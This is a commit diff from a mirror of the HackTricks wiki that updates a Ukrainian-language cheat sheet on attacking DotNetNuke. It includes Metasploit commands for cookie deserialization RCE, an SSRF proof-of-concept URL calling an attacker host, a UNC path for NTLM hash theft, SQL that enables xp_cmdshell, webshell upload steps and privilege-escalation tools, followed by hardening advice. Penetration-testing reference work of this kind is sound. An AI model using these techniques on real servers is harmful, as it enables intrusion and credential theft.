mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/dotnetnuke-d
This commit is contained in:
parent
fb037839ae
commit
0e09b73206
@ -4,37 +4,92 @@
|
|||||||
|
|
||||||
## DotNetNuke (DNN)
|
## DotNetNuke (DNN)
|
||||||
|
|
||||||
Якщо ви увійдете як **адміністратор** в DNN, легко отримати RCE.
|
Якщо ви входите як **адміністратор** в DNN, легко отримати **RCE**, однак за останні кілька років було опубліковано ряд *неавтентифікованих* та *пост-автентифікаційних* технік. Наступна шпаргалка збирає найбільш корисні примітиви для як наступальних, так і захисних робіт.
|
||||||
|
|
||||||
## RCE
|
---
|
||||||
|
## Перерахунок версій та середовища
|
||||||
|
|
||||||
### Через SQL
|
* Перевірте заголовок HTTP-відповіді *X-DNN* – зазвичай він розкриває точну версію платформи.
|
||||||
|
* Майстер установки розкриває версію в `/Install/Install.aspx?mode=install` (доступно на дуже старих установках).
|
||||||
|
* `/API/PersonaBar/GetStatus` (9.x) повертає JSON-об'єкт, що містить `"dnnVersion"` для користувачів з низькими привілеями.
|
||||||
|
* Типові куки, які ви побачите на живій інстанції:
|
||||||
|
* `.DOTNETNUKE` – квиток аутентифікації форм ASP.NET.
|
||||||
|
* `DNNPersonalization` – містить XML/серіалізовані дані профілю користувача (старі версії – див. RCE нижче).
|
||||||
|
|
||||||
SQL консолі доступна на сторінці **`Налаштування`**, де ви можете увімкнути **`xp_cmdshell`** та **виконувати команди операційної системи**.
|
---
|
||||||
|
## Неавтентифіковане використання
|
||||||
|
|
||||||
Використовуйте ці рядки, щоб увімкнути **`xp_cmdshell`**:
|
### 1. Десеріалізація куків RCE (CVE-2017-9822 та подальші)
|
||||||
```sql
|
*Постраждалі версії ≤ 9.3.0-RC*
|
||||||
EXEC sp_configure 'show advanced options', '1'
|
|
||||||
RECONFIGURE
|
`DNNPersonalization` десеріалізується при кожному запиті, коли вбудований обробник 404 увімкнено. Отже, підготовлений XML може призвести до довільних ланцюгів гаджетів та виконання коду.
|
||||||
EXEC sp_configure 'xp_cmdshell', '1'
|
|
||||||
RECONFIGURE
|
|
||||||
```
|
```
|
||||||
І натисніть **"Run Script"**, щоб виконати ці SQL речення.
|
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
|
||||||
|
msf> set RHOSTS <target>
|
||||||
Потім використовуйте щось подібне до наступного, щоб виконати команди ОС:
|
msf> set LHOST <attacker_ip>
|
||||||
```sql
|
msf> run
|
||||||
xp_cmdshell 'whoami'
|
|
||||||
```
|
```
|
||||||
### Via ASP webshell
|
Модуль автоматично обирає правильний шлях для патчених, але все ще вразливих версій (CVE-2018-15811/15812/18325/18326). Експлуатація працює **без аутентифікації** на 7.x–9.1.x і з *перевіреним* обліковим записом з низькими привілеями на 9.2.x+.
|
||||||
|
|
||||||
В `Settings -> Security -> More -> More Security Settings` ви можете **додати нові дозволені розширення** в `Allowable File Extensions`, а потім натиснути кнопку `Save`.
|
### 2. Server-Side Request Forgery (CVE-2025-32372)
|
||||||
|
*Постраждалі версії < 9.13.8 – Патч випущено в квітні 2025 року*
|
||||||
|
|
||||||
Додайте **`asp`** або **`aspx`**, а потім у **`/admin/file-management`** завантажте **asp webshell** під назвою `shell.asp`, наприклад.
|
Обхід старого виправлення `DnnImageHandler` дозволяє зловмиснику примусити сервер виконувати **произвольні GET запити** (напівсліпий SSRF). Практичні наслідки:
|
||||||
|
|
||||||
Потім отримайте доступ до **`/Portals/0/shell.asp`**, щоб отримати доступ до вашого webshell.
|
* Внутрішнє сканування портів / виявлення метаданих у хмарних розгортаннях.
|
||||||
|
* Доступ до хостів, які інакше заблоковані брандмауером від Інтернету.
|
||||||
|
|
||||||
### Privilege Escalation
|
Доказ концепції (замініть `TARGET` & `ATTACKER`):
|
||||||
|
```
|
||||||
|
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
|
||||||
|
```
|
||||||
|
Запит викликається у фоновому режимі; слідкуйте за вашим слухачем для зворотних викликів.
|
||||||
|
|
||||||
Ви можете **підвищити привілеї** за допомогою **Potatoes** або **PrintSpoofer**, наприклад.
|
### 3. Витік NTLM Hash через UNC перенаправлення (CVE-2025-52488)
|
||||||
|
*Постраждалі версії 6.0.0 – 9.x (< 10.0.1)*
|
||||||
|
|
||||||
|
Спеціально підготовлений контент може змусити DNN спробувати отримати ресурс, використовуючи **UNC шлях** такий як `\\attacker\share\img.png`. Windows з радістю виконає NTLM переговори, витікаючи хеші облікових записів сервера до атакуючого. Оновіть до **10.0.1** або вимкніть вихідний SMB на брандмауері.
|
||||||
|
|
||||||
|
### 4. Обхід IP фільтрації (CVE-2025-52487)
|
||||||
|
Якщо адміністратори покладаються на *Host/IP Filters* для захисту адміністративного порталу, майте на увазі, що версії до **10.0.1** можуть бути обійдені шляхом маніпуляції `X-Forwarded-For` у сценарії зворотного проксі.
|
||||||
|
|
||||||
|
---
|
||||||
|
## Пост-аутентифікація до RCE
|
||||||
|
|
||||||
|
### Через SQL консоль
|
||||||
|
У **`Settings → SQL`** вбудоване вікно запитів дозволяє виконання проти бази даних сайту. На Microsoft SQL Server ви можете увімкнути **`xp_cmdshell`** і запускати команди:
|
||||||
|
```sql
|
||||||
|
EXEC sp_configure 'show advanced options', 1;
|
||||||
|
RECONFIGURE;
|
||||||
|
EXEC sp_configure 'xp_cmdshell', 1;
|
||||||
|
RECONFIGURE;
|
||||||
|
GO
|
||||||
|
xp_cmdshell 'whoami';
|
||||||
|
```
|
||||||
|
### Завантаження веб-шелу через ASPX
|
||||||
|
1. Перейдіть до **`Налаштування → Безпека → Більше → Додаткові налаштування безпеки`**.
|
||||||
|
2. Додайте `aspx` (або `asp`) до **Дозволені розширення файлів** та **Зберегти**.
|
||||||
|
3. Перейдіть до **`/admin/file-management`** та завантажте `shell.aspx`.
|
||||||
|
4. Викличте його за адресою **`/Portals/0/shell.aspx`**.
|
||||||
|
|
||||||
|
---
|
||||||
|
## Підвищення привілеїв на Windows
|
||||||
|
Якщо виконання коду досягнуто як **IIS AppPool\<Site>**, застосовуються звичайні техніки підвищення привілеїв Windows. Якщо система вразлива, ви можете скористатися:
|
||||||
|
|
||||||
|
* **PrintSpoofer** / **SpoolFool** для зловживання *SeImpersonatePrivilege*.
|
||||||
|
* **Juicy/Sharp Potatoes** для обходу *Службових облікових записів*.
|
||||||
|
|
||||||
|
---
|
||||||
|
## Рекомендації щодо зміцнення (Блакитна команда)
|
||||||
|
|
||||||
|
* **Оновіть** до принаймні **9.13.9** (виправляє обхід SSRF) або, бажано, **10.0.1** (проблеми з IP-фільтрацією та NTLM).
|
||||||
|
* Видаліть залишкові **`InstallWizard.aspx*`** файли після установки.
|
||||||
|
* Вимкніть вихідний SMB (порти 445/139).
|
||||||
|
* Застосуйте суворі *Фільтри хостів* на крайовому проксі, а не в DNN.
|
||||||
|
* Заблокуйте доступ до `/API/RemoteContentProxy`, якщо не використовується.
|
||||||
|
|
||||||
|
## Посилання
|
||||||
|
|
||||||
|
* Документація модуля Metasploit `dnn_cookie_deserialization_rce` – практичні деталі неавтентифікованого RCE (GitHub).
|
||||||
|
* Повідомлення про безпеку GitHub GHSA-3f7v-qx94-666m – інформація про обхід SSRF 2025 року та патчі.
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user